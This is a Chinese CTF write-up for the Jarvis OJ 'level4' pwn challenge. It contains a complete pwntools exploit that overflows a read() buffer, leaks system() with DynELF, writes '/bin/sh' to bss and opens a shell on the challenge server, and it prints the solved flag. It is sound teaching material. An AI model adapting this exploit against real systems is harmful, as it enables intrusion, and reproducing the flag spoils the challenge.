Jarvis OJ --level4

level4与level1、2、3的区别在于:无system、无"/bin/sh"、无libc
要点:使用DynELF函数leak system函数真实地址,然后用read函数写"/bin/sh\x00"到bss段,然后调用system("/bin/sh")去getshell。
题目链接:
level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
先查看开了哪些保护:
在这里插入图片描述
和level3一样,只有栈不可执行。区别在于没有给libc。

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

显然还是需要read()函数的溢出和rop。本题需要介绍到DynELF技术(即无穷leak直到找到libc)。
思路:
1.利用write函数泄露system地址
2.利用read函数将"/bin/sh"字符串写到bss段中
3.调用system("/bin/sh")

exp:

 from pwn import *
 context.log_level='debug'
 p=remote("pwn2.jarvisoj.com",9880)
 elf = ELF("./level4")
 write_addr = elf.symbols["write"]
 read_addr = elf.symbols["read"]
 start_addr = 0x08048350#start函数地址
 bss_addr = 0x0804A024#bss段地址
 junk = "A"*0x8c#填充(0x88+4)个垃圾字节溢出
 def leak(address):#通过write函数来溢出,address就是我们需要溢出的目标地址
     payload=junk+p32(write_addr)+p32(start_addr)+p32(1)+p32(address)+p32(4)
     p.sendline(payload)
     leak_addr=p.recv()
     return leak_addr
 
 d = DynELF(leak,elf=ELF("./level4"))
 system_addr = d.lookup('system','libc')#在libc中寻找system地址
 print ("find address:")+hex(system_addr)#输出system地址
 payload1 = junk+p32(read_addr)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
 p.sendline(payload1)
 p.send("/bin/sh\x00")
 #通过read函数把"/bin/sh\x00"写到bss段上(bss段代码可执行)
 payload2 = junk + p32(system_addr)+"love"+p32(bss_addr)#最后再执行system("/bin/sh")
 p.sendline(payload2)
 p.interactive()

flag :
CTF{882130cf51d65fb705440b218e94e98e}

你可能感兴趣的:(#,pwn)